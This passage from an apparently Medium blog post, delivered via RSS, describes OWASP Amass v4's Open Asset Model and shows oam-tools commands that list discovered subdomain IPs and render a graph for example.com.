href="https://github.com/owasp-amass/amass/releases/tag/v4.0.1">https://github.com/owasp-amass/amass/releases/tag/v4.0.1</a><br> The Open Asset Model (OAM) enhances the way we define and understand assets exposed on the internet. Traditionally, asset specifications have been confined to technical, infrastructure-specific details. However, this narrow approach limits organizations’ ability to grasp the full scope of their attack surface. <br> The OAM breaks these barriers, enabling users to encompass both digital and physical assets, empowering organizations to see the bigger picture.<br> At the core of the OAM lies its ability to capture intricate relationships among different asset types, mirroring the real-world interconnectedness that exists between assets. This approach allows security professionals to identify critical attack vectors that might otherwise remain hidden.</blockquote><p>In brief, the Open Asset Model (OAM) enables a better understanding of the attack surface by capturing complex interrelationships between digital and physical assets</p><p>Now, oam-tools are responsible for analyzing and managing what Amass has discovered.</p><p>continuing from the last example , example how to show discovered IPs :</p><pre>$ oam_subs -show -ip -d example.com<br> <br> example.com 93.184.216.34,2606:2800:220:1:248:1893:25c8:1946<br> www.example.com 2606:2800:220:1:248:1893:25c8:1946,93.184.216.34<br> <br> OAM Tool Suite v0.1.1                   https://github.com/owasp-amass/oam-tools<br> --------------------------------------------------------------------------------<br> 2 names discovered<br> --------------------------------------------------------------------------------<br> ASN: 15133 - EDGECAST - MCI Communications Services, Inc. d/b/a Verizon Business<br> 93.184.216.0/24         2    Subdomain Name(s)<br> 2606:2800:220::/48      2    Subdomain Name(s)</pre><p>Rendering a D3 v4 force simulation HTML visualization</p><pre>oam_viz -d3 -d example.com</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*-Cvxk1SN2x-ZygrB_lA7Xw.gif" /></figure><p>The Open Asset Model is still in the early stages and may encounter some issues. I haven’t used it extensively to make a definitive statement. You might want to consider using Amass v3.23.3 for traditional usage, for me I will keep going with the newer version</p><p>I recommend referring to the <a href="https://github.com/owasp-amass/amass">Amass</a> and <a href="https://github.com/owasp-amass/oam-tools">oam-tools</a> documentations for a better understanding and to harness the full power of the Amass tool.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ee41eed39d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>